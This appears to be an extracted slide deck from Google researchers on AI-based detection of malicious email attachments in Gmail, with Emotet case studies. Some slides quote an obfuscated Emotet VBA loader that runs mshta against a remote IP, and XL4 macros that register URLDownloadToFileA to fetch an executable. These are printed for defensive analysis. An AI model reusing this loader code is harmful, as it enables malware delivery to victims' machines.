

#### **Behind the Scenes**

#### How AI helps keeping Gmail inboxes malware free



with the help of **many** Googlers and external collaborators





•	•	•	•	•	•	•	•	•	•
•	•	•	•	•	•	•	•	•	•
•	•	•	•	•	•	•	•	•	•
•	•	•	•	•	•	•	•	•	•
•	•	•	•	•	•	•	•	•	•
•	•	•	•	•	•	•	•	•	
•	•	•	•	•	•	•	•		
•	•	•	•	•	•	•			
•	•	•	•	•					
•	•	•	•						
	•	•							
	•				7				•
	•								•

#### Presentation slides available here <u>https://elie/fic23</u>









#### Every week Gmail scan over 300B+ attachments for malware







Each second we need to process millions of documents in a matter of milliseconds







#### The majority of the malware targeting our users are documents

Google

2019 end of year estimate



## 25%+

#### of malicious office documents were missed by some engines







#### Research and develop a next gen document scanner



#### Agenda

- . . . . . .
- • • •
- • • •
- . . . . . .
- . . . . . .
- . . . . . .
- 0 0 0 0 0
- . . . . . .
- . . . . . .
- . . . . . .
- . . . . . .
- . . . . . .
- • • •



- Why detecting malicious documents is hard?
- How Gmail attachments scanning works?



How Gmail document scanner works?



War stories



Which future for AI based detection?





#### Why detecting malicious document is hard?







#### Cat through the ages





## 63%

of the malicious docs blocked by Gmail are different from day to day





Malicious Documents Emerging Trends: A Gmail Perspective - RSA 2020



#### Volume of malicious document per day normalized



## Malicious document volume greatly varies from day to day: 3x variation is the normal







#### Malware attacks are very bursty: Necurs alone in 2016 was regularly sending over 100M locky samples per day followed by zero activity





Why malicious documents are particularly hard to detect?













Function name obfuscation WScript.shell > LoLbins attack https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html

> Hash busting Vars never referenced

**Code execution** 

Hash busting Vars never referenced

<pre>boazuda = "zTpVrQQvHdVZWEzNCEvrDXMHhcjFYVxXIEEnuDCLMqpbjXqYf</pre>	
hcjFYVxXIEEnucjFYVxXIEEnup://104.144.207.201/cjFYVxXIEEnuron/WEzNCEvrDXMHcjFYVxXIEEnuiELOZgbR	
QzjYzTpVrO0vHdVZ.php?ucjFYVxXIEEnuzTpVrO0vHdVZDCLMqpbjXqYf=DCLMqpbjXqYfrniELOZqbROzjY"	
boazuda = Replace(boazuda, "zTpVr00vHdVZ", "m")	
$p_{oazuda} = Replace(boazuda, "DCLMopbiXgYf", "a")$	
dzkkGwK = "X" & "p" & "o"	
Boazuda = Replace(boazuda, "WEZNCEVEDXMH", "s")	
AUOKVDACXXWC = "u" & "x" & Trim("G")	
LrdizVw = 1418 + 1239 + 1546 + 521 + 1029	
iBEFgGzg = 1766 + 1267 + 544 + 1840	
boazuda = Replace(boazuda, "ciFYVxXIEEnu", "t")	
boazuda = Replace(boazuda, "iELOZobROziY", "e")	
CYaOLzNGaSzN = 110 + 662 + 271 + 430 + 1818	
IzdiuFFLcOWX = 1234 - 1771 - 1644 - 1187	
boazuda = Replace(boazuda, "dfnAfNznHxFV", "1")	
vCdrOfLG = "Z" & "v" & Trim("R") & "d"	
loquaz = "WScripUEAOXJSPZOCg.ShwBfuroncKuUbkjJbOBuEpdFEkjJbOBuEpdFE"	
loguaz = Replace(loguaz, "DgDdPEVxFMkH", "m")	
OFNCRKgKF = 1006 + 15 + 215	
<pre>loquaz = Replace(loquaz, "rTRMGUvpLYHv", "a")</pre>	
T0xTXxovMu0p = 734 + 33 + 1188 + 563 + 716	
<pre>loguaz = Replace(loguaz, "AdogkZxrLcFX", "s")</pre>	
<pre>loquaz = Replace(loquaz, "UEAOXJSPZOCg", "t")</pre>	
QFMdIPpUYY = 459 - 943 - 977	
AUvwcPXcwXb = "E" & "Q"	
<pre>loquaz = Replace(loquaz, "wBfuroncKuUb", "e")</pre>	
iqEyuLuf = "D" & "A" & Trim("O")	
<pre>loquaz = Replace(loquaz, "kjJbOBuEpdFE", "1")</pre>	
uRxRWUfRpSX = Trim("G") & "k" & Trim("G") & Trim("I")	
jXkIrzM_= 128 - 1507 - 70	
XjnfDLLd = Trim("k") & "o" & "p"	
CreateObject(loquaz).Run boazuda, 0	
<mark>FACDNuSZHuWp</mark> = 1892 - 994 - 435 - 958 - 491 - 1652 - 1245	
NbnCVgoojDDD = 1069 + 1656 + 957 + 714	
CDDQFoi = 512 + 1320	
ZCWCBZPYSpT = 1011 - 1218 - 830 - 1495 - 300 - 1268 - 860	





Attackers try to evade detection by adding malware in XLS cell content.



Gmail no executables policy incentivize bad actors to find way to exploit documents format

	Gmail do r	not suppo	rt binary	attachme	nts		-	. ⊿ ×				
	test@elie.r	net										
	Gmail do n	not suppor	t binary a	ittachment	S					•	٠	-
										•	•	-
										•	٠	
										•	•	-
										•	•	
	Chromes	Setup.exe	(1,394K)									
				Blocked	for secu	rity reas	ons! <u>Hel</u>	<u>p</u> ×				
	Send		0 0	⇒ © (	<u>م</u>	6 /	:	Ū		•	•	
( -									_	•	٠	•
										٠	٠	•
	• •	٠	•	• •		٠	• •	•	•	۰	۰	-
	• •	٠	٠	• •	٠	٠	• •	•	٠	٠	٠	-

Google

https://support.google.com/mail/answer/6590





Kits offering weaponized document exploits packed with AV evasion techniques are routinely available on the blackmarket as SaaS for \$400-\$5000







The malicious document landscape is fast paced and very adversarial

#### Takeaways



.

.

A very active black market is fueling those attacks



Evasions techniques drastically improved over the years







### How Gmail attachments scanning works?







#### How Gmail malware detection works



Policy engine



#### How Gmail malware detection works



Policy Scanners engine



#### How Gmail malware detection works



Policy engine Scanners

Decision engine



# How about users and organizations at risk of targeted attack?







۰	٠	0	0	0		۰	0		۰	0	۰	٠		۰	0	٠	٠
•	٠	0	0	0	0	۰	0	0	۰	0	۰	٠	0	٠		٠	٠
٠	•	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠	٠



Security Sandboxes are used to supplement detection when need.





#### Takeaways



Gmail rely on multiple scanners for accurate and resilient detection



A smart decision engine is used to maximize detection based of engine results



.

Sandbox technology is used to supplement detection when needed







# How our document scanner works?







#### The opportunity to better protect users



Detection TCO





#### The opportunity to better protect users



Detection TCO













#### AI is revolutionizing the world

Google

Al copilote features are now available for Workspace











#### AI? Really?





#### Document classification is a good target






Enhance existing detection capabilities with AI & advanced document analyzers to improve detection coverage and increase resilience to adversarial attacks











# How does it work in practice?







#### Document Scanner: functional view







#### Document Scanner: eco-system integration



Policy engine



Decision engine









### Does it really work?







Our Al document scanner provided on average a **36.1% incremental coverage** and a **178% peak increase coverage** in 2021

Google





## Thank you!







### Gmail daily malicious Office documents detection breakdown



300









Bad actors sometime evade VaXeN





Concretely where Al generalization provide benefits?







### Hourly malicious office documents detection













#### Hourly malicious XLS documents detection











Complementing existing technologies by adding AI core strength : generalization

Consistent success through the years proved the effectiveness of the approach

Al improve detection by detecting unknown payload and more variations of ongoing attacks

.



#### Security and Privacy Research

## Takeaways





## War Stories

· · · · · · · · · · · · · · ·







# 2020

## Emotet king of malicious VBA

### Emotet epoch pre-takedown









Figure 3: Typical Emotet payload delivery chain.



https://www.vmware.com/content/dam/learn/en/amer/fy23/pdf/1669005 Emotet Exposed A Look Inside the Cybercriminal Supply Chain.pd





Jan 22 - Jan 28 2022

Emotete massive VBA based spam campaigns lasted a few days with our document scanner responsible blocking most of it



Google

Function parameters obfuscation mshta http://104.144.xxx.yyy/tron/stem.php

mshta: executes Microsoft HTML Applications (remotely) <u>https://attack.mitre.org/techniques/T1170/</u>

Function name obfuscation WScript.shell > LoLbins attack https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html

> Hash busting Vars never referenced

> > Code execution

boazuda = "zTpVrQQvHdVZWEzNCEvrDXMHhcjFYVxXIEEnuDCLMqpbjXqYf hcjFYVxXIEEnucjFYVxXIEEnup://104.144.207.201/cjFYVxXIEEnuron/WEzNCEvrDXMHcjFYVxXIEEnuiELOZgbR QzjYzTpVrQQvHdVZ.php?ucjFYVxXIEEnuzTpVrQQvHdVZDCLMqpbjXqYf=DCLMqpbjXqYfrniELOZqbRQzjY" boazuda = Replace(boazuda, "zTpVrQ0vHdVZ", "m") boazuda = Replace(boazuda, "DCLMqpbjXqYf", "a") dzkkGwK = "X" & "p" & "o" boazuda = Replace(boazuda, "WEzNCEvrDXMH", "s") AuOKypAOxXWC = "u" & "x" & Trim("G") LrdizVw = 1418 + 1239 + 1546 + 521 + 1029 iBEFgGzg = 1766 + 1267 + 544 + 1840 boazuda = Replace(boazuda, "cjFYVxXIEEnu", "t") boazuda = Replace(boazuda, "iELOZqbRQzjY", "e") cYqOLzNGqSzN = 110 + 662 + 271 + 430 + 1818 IzdiuFFLcOWX = 1234 - 1771 - 1644 - 1187 boazuda = Replace(boazuda, "dfnAfNznHxFV", "1") yCdrOfLG = "Z" & "y" & Trim("R") & "d" loquaz = "WScripUEAOXJSPZOCg.ShwBfuroncKuUbkjJbOBuEpdFEkjJbOBuEpdFE" loquaz = Replace(loquaz, "DgDdPEVxFMkH", "m") OFNCRKqKF = 1006 + 15 + 215 loquaz = Replace(loquaz, "rTRMGUvpLYHv", "a") T0xTXxovMuOp = 734 + 33 + 1188 + 563 + 716 loguaz = Replace(loguaz, "AdogkZxrLcFX", "s") loquaz = Replace(loquaz, "UEAOXJSPZOCg", "t") QFMdIPpUYY = 459 - 943 - 977 AUvwcPXcwXb = "E" & "Q" loguaz = Replace(loguaz, "wBfuroncKuUb", "e") iqEyuLuf = "D" & "A" & Trim("O") loguaz = Replace(loguaz, "kjJbOBuEpdFE", "1") uRxRWUfRpSX = Trim("G") & "k" & Trim("G") & Trim("I") jXkIrzM = 128 - 1507 - 70XinfDLLd = Trim("k") & "o" & "p" CreateObject(loguaz).Run boazuda, 0 AcDNuSZHuWp = 1892 - 994 - 435 - 958 - 491 - 1652 - 1245 NbnCVgoojDp0 = 1069 + 1656 + 957 + 714 CDDQFoi = 512 + 1320 zCwcBZPYSpI = 1011 - 1218 - 830 - 1495 - 300 - 1268 - 860



## **EMOTET takedown**



In January 2021, law enforcement and judicial authorities worldwide took down the Emotet botnet.

#### Participating law enforcement authorities:



Netherlands (Politie)



Germany (Bundeskriminalamt)



France (Police Nationale)

**USA** (Federal Bureau

of Investigation)



Lithuania (Lietuvos kriminalinės policijos biuras)



Canada (Royal Canadian Mounted Police)



UK (National Crime Agency)



Ukraine (Національна поліція України)







# 2021

# Emotete is back XLS is the new jam



**Threat Research** 

Partners

Resources

#### **New Emotet Infection Method**

https://unit42.paloaltonetworks.com/new-emotet-infection-method/

## Excel is still a security headache after 30 years because of this one feature



by Veronica Combs in Security **ふ** on August 13, 2021, 9:41 AM PDT

https://www.techrepublic.com/article/excel-is-still-a-security-headache-after-30-years-because-of-this-one-feature/





### XL4 macro TTP timeline

February					March				April				Ì		June				July			
	1			2 3	4	5		6	7	8		9	10	11	1	12	1	3	14	15	5	
	( ( (	FEB 26 Cells are scattered Code is hidden via white font		EB 27			MAR 30 LoLBins reg.exe rundLL32.exe MAR 10				APR 25 Dozens of macro sheets APR 14 Operations nested <i>CHAR</i> arguments Evasion: font size a row height		sted in is ize and		MAY Evasi size, I	MAY 19 MID for obfuscation FILES to check download 11 on: windows minimized, and		u	JUN 25 Register functions using custom names Complex string obfuscation routine		JUL1	
	E	Evasion: workspace h/w					CHAR & concatenations WinAPI Usage Download via URLDownLoadToFile							MAY - Hidde	AAY 4 Hidden names		le		<b>JN 16</b> ormula.Fill w	ith re	PowerShell VeryHidden flag elative	
	FEE	FEB 14 No obfuscation Downloads payload via <i>DCONN</i> Evasion: mouse & audio				MAR 6 Downloads VBS FORMULA to move payload								De-ob	ofuscat	ion routine		terences	es			
	Dov Eva									APF Day	APR 10 Day-of obfuscation			- SET.VALUE - GOTO - RUN				Ev ex	vasion: execution plorer.exe, ci	<i>r</i> ia om user agent		



https://vb2020.vblocalhost.com/conference/presentations/evolution-of-excel-4-0-macro-weaponization/



#### Spread code on Excel sheet cells

Register Windows API function with a custom name (*registers URLDownloadToFileA as 'Volate'*)

Google

		Defined Names:		
		REAVULTVCDVUEDDTCDCC - 40144am	•	•
		GETUHTY = - GFTUHTYUHTY = - 4Hidden>	•	
		DI2no = -709623808.000000	•	•
		Volate =		
		Auto Open = Лист2!\$A\$200	•	•
	10			
	11		•	•
	12	Externally Defined Names:		
	13		•	•
	14	СЛУЧМЕЖДУ = #REF!		
	15		•	•
	10	Formulace		
	18	Tormatas.	•	•
lls	19	CELL(A684) = REGISTER(Live!Y204.B684.Live!Y206.Live!Y207Live!Y208.Live!Y209)		
	20	CELL(B684) = CONCATENATE("C", "reateDirectoryA")	•	
	21	CELL(A685) = Volate(Live!Y210,Live!Y211)		
	22	CELL(A686) = Volate("C:\Gravity\Gravity2",Live!Y211)	•	
	23	CELL(A687) = REGISTER(Live!Z204,Live!Z205,Live!Z206,Live!Z207,,Live!Z208,Live!Z209)		
	24	CELL(A688) = DFGYUJTYGSRYHEDRTSDGS(0,A697&Live!A310&A696&Live!A300,"C:\Gravity\Gravity2\Fiksat.exe",0,0)	•	
	25	CELL(A689) = REGISTER("z1pttdr", "RouteTheCall", "JJCCJ", "GFJVHYXDYHDTYHXDYHDTY", 1,9)		
e')	26	CELL(A090) = GFJVHTXDTHDTHXDTHDTY(0, "Calc", "C:\GravIty\GravItyZ\Fiksat.exe",0)		
	27		•	
	20	CELL(X)04) = "Kernel32"		
	30	CELL(Z204) = "URLMon"	•	
	31	CELL(Z205) = "URLDownloadToFileA"		
	32	CELL(Y206) = "JCJ"	•	
	33	CELL(Z206) = "JJCCJJ"		
	34	CELL(Y207) = "Volate"	•	
	35	CELL(2207) = "DFGYUJTYGSRYHEDRTSDGS"		



### Extended our Al scanner to classify accurately XL4 (BIFF) files







Days after launching our improved XLS analyser Emotete sent over 300k XLS files that evaded other scanners



Jan 14- Jan 20 2022



Google



## Onward

. . . . . . . . . . . . .







## Key trends



PDF social engineering documents are taking over



Hybrid client/server detection will be the norm





## Phishing documents to be the new king



Our document scanner drastically reduced malicious office documents effectiveness







## Microsoft to disable Office macros (probably)

	•	•	•	•	•	•	•	•	•	•	•		
Microsoft will block macros by default from internet downloads													
https://www.scmagazine.com/analysis/application-security/r	nicrosoft-\ •	vill-bloc •	<u>k-macr</u>	<u>•</u>	default-	<u>-from-ir</u>	<u>•</u>	downlo •	ads •	•	•		
Microsoft rolls back decision to block Office macros by default											lt		
By Sergiu Gatlan							100	July 7,	2022	06	:33 PM		
https://www.bleepingcomputer.com/news/microsoft/microsof	oft-rolls-ba	ck-deci	sion-to	-block-d	office-n	nacros-	-bv-def:	ault/					
	•	•	•	•	•	•	•	•	٠	•	٠		
Microsoft Resumes Blockir	<b>ng Of</b>	fice	VB	AN	lac	ros	by I	Defa	ault	Aft	er		
'Temporary Pause'													
🋗 July 22, 2022 🛛 🛔 Ravie Lakshmanan													



Google



Malicious document per filetype seen by GMail

Google


Hybrid client/server detection will be the norm Stronger data privacy needs and upcoming data protection regulations are reshaping the world



Google

#### Data Protection and Privacy Legislation Worldwide



Source: UNCTAD, 14/12/2021

## Data regulations and privacy needs are rising

Google





Today Client-Side Encryption is one of the key technology that can help meet those new requirements.



=	M Gmail		Q Search mail and chat		• Active • ⑦ 😵 🔠		Google 🐑	
	/ Compose		۵. G	1	1-50 of 200	< >		
Mail				Gus Winkelman 5	Newsletter Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fashion	3:01 PM		
Chat	Inbox	4		Bo Chen (Google Slides)	New presentation Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fac	2:43 PM		
	☆ Starred			Jeffery Weber Zoe 2	Meeting next week - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl	12:15 PM	6	
Spaces	D Important				Documents SummitSurvey +3			
D	➡ Sent			Christina Buguid	Running Group - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fast	10:15 AM		
Meet	Drafts				日 Runs 🛛 🚼 Budget			
	✓ More		日台日	Gus Winkelman Sam 5	Newsletter - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fashion a	3:01 PM	ລ	
					🖪 Header.png 🔰 🗖 Crit		+	
	Labels +		Bo Chen (Google Slides)	New presentation - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fa:	2:43 PM			
	Clients Rersonal	wer		Jeffery Weber Zoe 2	Meeting next week - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl	12:15 PM		
	Project Clover			Christine Russid	Burning Course - Cross eliste existence austrinoble biodineed too head tied food	1045 111		
	B Clients		Christina Buquiu	Kuming Group — Cray cicine mixtape sustainable bioureser u y-mard, vinyi rasi	10-15 AM			
	Personal		U & D	Gus Winkelman Sam 5	Newsletter - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fashion a	3:01 PM		
	Project Clover							
	✓ More			Bo Chen (Google Slides)	New presentation — Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fa:	2:43 PM		
6				Jeffery Weber Zoe 2	Meeting next weeek — Cray cliche mixtape sustainable biodiesel try-hard. Vinyl	12:15 PM		
2				Christina Buquid	Running Group - Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fashi	10:15 AM		
				Gus Winkelman 5	Newsletter Cray cliche mixtape sustainable biodiesel try-hard. Vinyl fashion	3:01 PM		
<u> </u>							,	

Google Workspace expands data privacy controls to Gmail and Calendar with client-side encryption





## How do you protect users without server side detection?





Google

## Potential directions

01.	02.	03.	04.
On-Device Business Logic	On-Device ML Processing	Confidential computing	Private computing
Rebuild product business logic to run on clients	Design and train ML models meant to run on device	Use enclaves to perform remote computation privately	Rely on homomorphic encryption, multi-party secure computation and other techniques to perform



computation over

encrypted data

Experimenting with on-device malicious URLs detection

#### op for Online Deals 09... You've come to the right place to find all the bes of ton quality merchandise of operation of ton quality merchandise operation of ton quality merchandise

#### Warning

<u>Online Deals</u> Get the best c through so yo www.class\_ac vebproducts *The website you are about to visit may harm your computer. Would you like to continue anyway?* 

Yes

No



be. We've got to ble. We have s the\_season\_cl

#### Steady progress toward an balanced solution

	V1	V2
Parameters	500k	706k
Size	2MB	1MB
Inference time	~20ms	~20ms
Phishing link accuracy	90.3%	93.41%
Malware link accuracy	86.45%	97.16%
Unwanted software	79.41%	97.48%





## Q

Our document scanner meaningfully improved Gmail users protections against malicious documents

## Takeaways



Malicious documents keep evolving and the next generation is already well under way



Lot more research needed to build the best specialized scanners to supplement detection







### Thank you

# Gmail AI protection was there all along - collaborative AI is coming to workspace



